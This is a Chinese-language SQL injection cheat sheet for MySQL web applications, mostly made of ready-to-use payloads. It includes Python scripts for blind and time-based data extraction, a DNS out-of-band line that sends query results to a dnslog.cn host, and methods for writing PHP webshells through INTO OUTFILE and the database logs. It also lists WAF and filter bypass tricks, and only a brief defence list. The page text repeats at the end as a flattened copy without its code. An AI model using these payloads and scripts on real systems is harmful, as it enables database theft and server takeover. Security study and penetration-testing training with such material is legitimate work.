回炉重造之SQL 注入
字数 2290 2025-08-11 08:36:26

SQL注入全面指南

1. SQL注入分类

1.1 常见分类

  • 联合注入:使用UNION SELECT合并查询结果
  • 盲注:无直接回显,通过服务器响应判断
  • 延时注入:通过响应时间判断注入结果
  • 报错注入:利用数据库错误信息获取数据
  • 宽字节注入:利用编码差异绕过转义
  • 堆叠注入:执行多条SQL语句
  • 带外注入:通过DNS等外部通道获取数据
  • 二次注入:存储后再触发的注入

1.2 特殊注入类型

  • INSERT注入
  • UPDATE注入
  • LIMIT注入
  • ORDER BY注入
  • 搜索型注入

2. 联合查询注入

2.1 核心知识

  • information_schema数据库:MySQL内置元数据库

    • information_schema.schemata:所有数据库名
    • information_schema.tables:所有表名
    • information_schema.columns:所有字段名
  • 关键函数

    • ORDER BY:确定列数
    • UNION:合并SELECT结果(列数需相同)
    • GROUP_CONCAT():多行结果拼接
    • LIMIT:限制返回行数

2.2 MySQL注释

  • #-- (--+)
  • /* */多行注释
  • /*!50726select*/:版本特定注释

2.3 注入流程

  1. 判断注入点
  2. 判断列数(ORDER BY)
  3. 确定回显点
  4. 获取数据库
  5. 获取表名
  6. 获取字段名
  7. 获取数据

2.4 常用Payload

UNION SELECT 1,database();  # 获取数据库
UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database();  # 获取表
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='aaa';  # 获取字段
UNION SELECT 1,group_concat(id,0x7e,name) from aaa;  # 获取数据

2.5 无列名注入

UNION SELECT `1`,`2` from (select 1,2 union select * from aaa)x limit 1,1;
UNION SELECT `1`,`2` from (select * from (select 1)a,(select 2)b union select * from aaa)x limit 1,1;

3. 盲注

3.1 关键函数

  • LENGTH():字符串长度
  • SUBSTR()/SUBSTRING()/MID():字符串截取
  • ASCII()/ORD():字符转ASCII码
  • LEFT()/RIGHT():左右截取
  • REGEXP/RLIKE:正则匹配
  • CONCAT()/GROUP_CONCAT()/CONCAT_WS():字符串拼接
  • REPLACE():字符串替换

3.2 盲注流程

  1. 判断注入点
  2. 获取数据长度
  3. 逐个字符猜解

3.3 盲注公式

# 获取长度
select * from aaa where id=1 and (length(表达式)=n);

# 获取数据
select * from aaa where id=1 and (ord(substr((表达式),n,1))=n);

3.4 Python盲注脚本示例

import requests

def length(url,sql):
    for i in range(1,20000):
        payload = f'1\'" and length({sql})={i}--+'
        response = requests.get(url=url+payload,headers=header(),verify=False)
        if 'You are in' in response.text:
            print(f'查询内容的长度为:{i}')
            return i

def date(url,sql,L):
    print('查询到的数据为:',end='')
    for i in (range(1,L+1)):
        for j in range(43,127):
            payload = f'1\'" and (ord(substr(({sql}),{i},1))={j})--+'
            response = requests.get(url=url+payload,headers=header(),verify=False)
            if 'You are in' in response.text:
                print(chr(j),end='')
    print('\n')

4. 延时注入

4.1 延时函数

  • SLEEP():直接延时
  • BENCHMARK():计算密集型延时
  • 笛卡尔积:select count(*) from information_schema.columns a,information_schema.columns b;
  • GET_LOCK():需要多个session
  • 正则BUG:select rpad('a',1000000,'a') rlike concat(repeat('(a.*)+',200),'b');

4.2 延时注入公式

# IF形式
and if((表达式),(延时语句),0);

# CASE WHEN形式
and case when (表达式) then (延时语句) else 0 end;

# 直接延时
sleep(3*(表达式))

4.3 Python延时注入脚本

def length(url,date):
    for i in range(1,1000000):
        payload = f'1\' and sleep(3*(length({date})={i}))--+'
        try:
            requests.get(url=url+payload,timeout=3)
        except:
            print(f'查询数据的长度为:{i}')
            return i

def date(url,sql,L):
    print('查询到的数据为:',end='')
    for i in (range(1,L+1)):
        for j in range(43,127):
            try:
                payload = f'1\' and sleep(4*(ord(substr(({sql}),{i},1))={j}))--+'
                requests.get(url=url+payload,timeout=3)
            except:
                print(chr(j),end='')
                break

5. 报错注入

5.1 报错注入类型

  1. BIGINT等数据类型溢出
  2. XPath语法错误
  3. CONCAT+RAND()+GROUP_BY导致主键重复
  4. 空间数据类型函数错误

5.2 常用报错函数

  • UPDATEXML()

    and (updatexml(1,concat(0x7e,(表达式),0x7e),1))
    
  • EXTRACTVALUE()

    and (extractvalue(1,concat(0x7e,(表达式),0x7e)))
    
  • 双查询:

    and (select 1 from (select count(*),concat((表达式),0x7e,floor(rand(0)*4))x from information_schema.tables group by x)a);
    
  • EXP()exp(~(select * from(表达式)x))

  • COT()cot(表达式) 表达式为假时报错

  • POW()pow(1+(1=(表达式)),11111)

  • 空间函数:geometrycollection(), multipoint(), polygon()

6. 宽字节注入

利用编码差异绕过转义:

%df' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

表名等可用十六进制编码绕过:

select hex('需要编码的字符');

7. ORDER BY注入

7.1 注入方法

  • 正则盲注:

    select * from aaa order by (select 1 regexp if((表达式),1,exp(999))) asc;
    
  • 报错注入:

    select * from aaa order by updatexml(1,concat(0x7e,(表达式),0x7e),1) asc;
    
  • 延时注入:

    select * from aaa order by if((1=1),sleep(3),1) asc;
    

8. LIMIT注入

仅适用于MySQL 5.0.0~5.6.6

8.1 报错注入

select * from aaa where id>0 order by id asc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,(表达式))),1);

8.2 延时注入

SELECT id FROM aaa WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);

9. INSERT注入

9.1 报错注入

insert into qwe values(1,'2312315' or updatexml(1,concat(0x7e,(表达式),0x7e),1) or '');
insert into qwe values(1 and updatexml(1,concat(0x7e,user()),1), '');

9.2 延时注入

insert into qwe values(1 and if((1=1),sleep(5),0), '');

10. 堆叠注入

执行多条SQL语句:

1';show databases;show tables;

11. 带外注入与文件读取

11.1 前提条件

  • Windows系统
  • secure_file_priv不为NULL
  • MySQL<5.5.53默认开启

11.2 带外注入

and load_file(concat('\\\\',hex(表达式),'.xxx.dnslog.cn\\a.txt'));

11.3 文件读取

select load_file('path');

12. MySQL写Shell

12.1 前提条件

  • 知道网站绝对路径
  • 目录可写
  • secure_file_priv为空或为网站路径所在盘
  • 数据库用户有写入权限
  • GPC关闭

12.2 常用方法

  1. UNION查询写shell

    union select '<?php phpinfo();?>' into outfile 'C:\\\\phpstudy\\www\\a.php';
    
  2. 补充说明写shell

    select * from aaa where id=1 into outfile 'D:\\\\phpstudy\\www\\b.php' lines terminated by '<?php phpinfo();?>';
    
  3. 日志写shell

    set global general_log=on;
    set global general_log_file='D:\\\\phpstudy\\www\\shell.php';
    select '<?php phpinfo();?>';
    set global general_log=off;
    

    慢查询日志:

    set global slow_query_log=1;
    set global slow_query_log_file='D:\\\\phpstudy\\www\\slowshell.php';
    select '<?php phpinfo();?>' and sleep(11);
    

13. Bypass技巧

13.1 空格绕过

  • 行内注释:/**/
  • 换行符:%0a%0d
  • 圆括号:()
  • 反引号:`

13.2 SELECT绕过

  • 大小写:SeLeCt

  • 双写:selselectect

  • 直接写字段名(MySQL 5.0)

  • 堆叠注入+handler语句

  • 预编译:

    set @sql = CONCAT('sele','ct column from tables;');
    prepare stmt from @sql;
    EXECUTE stmt;
    
  • 内联注释:/*!12345%53elect*/

13.3 单引号绕过

  • 十六进制:unhex(hex('user'))
  • 科学计数法:unhex(hex(19e8+70496882))
  • CHAR函数:char(117,115,101,114)
  • 宽字节注入
  • 转义:\'
  • LIKE模糊查找

14. 防护措施

  1. 关闭错误回显:display_error=off
  2. 魔术引号:magic_quotes_gpc=On
  3. 转义函数:
    • addslashes()
    • mysql_real_escape_string()
    • htmlspecialchars()
  4. 数据类型转换
  5. 预编译语句(最有效)
  6. 正则过滤特定字符
  7. 最小权限原则
SQL注入全面指南 1. SQL注入分类 1.1 常见分类 联合注入 :使用UNION SELECT合并查询结果 盲注 :无直接回显,通过服务器响应判断 延时注入 :通过响应时间判断注入结果 报错注入 :利用数据库错误信息获取数据 宽字节注入 :利用编码差异绕过转义 堆叠注入 :执行多条SQL语句 带外注入 :通过DNS等外部通道获取数据 二次注入 :存储后再触发的注入 1.2 特殊注入类型 INSERT注入 UPDATE注入 LIMIT注入 ORDER BY注入 搜索型注入 2. 联合查询注入 2.1 核心知识 information_ schema数据库 :MySQL内置元数据库 information_schema.schemata :所有数据库名 information_schema.tables :所有表名 information_schema.columns :所有字段名 关键函数 : ORDER BY :确定列数 UNION :合并SELECT结果(列数需相同) GROUP_CONCAT() :多行结果拼接 LIMIT :限制返回行数 2.2 MySQL注释 # 、 -- (--+) /* */ 多行注释 /*!50726select*/ :版本特定注释 2.3 注入流程 判断注入点 判断列数(ORDER BY) 确定回显点 获取数据库 获取表名 获取字段名 获取数据 2.4 常用Payload 2.5 无列名注入 3. 盲注 3.1 关键函数 LENGTH() :字符串长度 SUBSTR()/SUBSTRING()/MID() :字符串截取 ASCII()/ORD() :字符转ASCII码 LEFT()/RIGHT() :左右截取 REGEXP/RLIKE :正则匹配 CONCAT()/GROUP_CONCAT()/CONCAT_WS() :字符串拼接 REPLACE() :字符串替换 3.2 盲注流程 判断注入点 获取数据长度 逐个字符猜解 3.3 盲注公式 3.4 Python盲注脚本示例 4. 延时注入 4.1 延时函数 SLEEP() :直接延时 BENCHMARK() :计算密集型延时 笛卡尔积: select count(*) from information_schema.columns a,information_schema.columns b; GET_LOCK() :需要多个session 正则BUG: select rpad('a',1000000,'a') rlike concat(repeat('(a.*)+',200),'b'); 4.2 延时注入公式 4.3 Python延时注入脚本 5. 报错注入 5.1 报错注入类型 BIGINT等数据类型溢出 XPath语法错误 CONCAT+RAND()+GROUP_ BY导致主键重复 空间数据类型函数错误 5.2 常用报错函数 UPDATEXML() : EXTRACTVALUE() : 双查询: EXP() : exp(~(select * from(表达式)x)) COT() : cot(表达式) 表达式为假时报错 POW() : pow(1+(1=(表达式)),11111) 空间函数: geometrycollection() , multipoint() , polygon() 等 6. 宽字节注入 利用编码差异绕过转义: 表名等可用十六进制编码绕过: 7. ORDER BY注入 7.1 注入方法 正则盲注: 报错注入: 延时注入: 8. LIMIT注入 仅适用于MySQL 5.0.0~5.6.6 8.1 报错注入 8.2 延时注入 9. INSERT注入 9.1 报错注入 9.2 延时注入 10. 堆叠注入 执行多条SQL语句: 11. 带外注入与文件读取 11.1 前提条件 Windows系统 secure_ file_ priv不为NULL MySQL <5.5.53默认开启 11.2 带外注入 11.3 文件读取 12. MySQL写Shell 12.1 前提条件 知道网站绝对路径 目录可写 secure_ file_ priv为空或为网站路径所在盘 数据库用户有写入权限 GPC关闭 12.2 常用方法 UNION查询写shell : 补充说明写shell : 日志写shell : 慢查询日志: 13. Bypass技巧 13.1 空格绕过 行内注释: /**/ 换行符: %0a 、 %0d 圆括号: () 反引号: ` 13.2 SELECT绕过 大小写: SeLeCt 双写: selselectect 直接写字段名(MySQL 5.0) 堆叠注入+handler语句 预编译: 内联注释: /*!12345%53elect*/ 13.3 单引号绕过 十六进制: unhex(hex('user')) 科学计数法: unhex(hex(19e8+70496882)) CHAR函数: char(117,115,101,114) 宽字节注入 转义: \' LIKE模糊查找 14. 防护措施 关闭错误回显: display_error=off 魔术引号: magic_quotes_gpc=On 转义函数: addslashes() mysql_real_escape_string() htmlspecialchars() 数据类型转换 预编译语句(最有效) 正则过滤特定字符 最小权限原则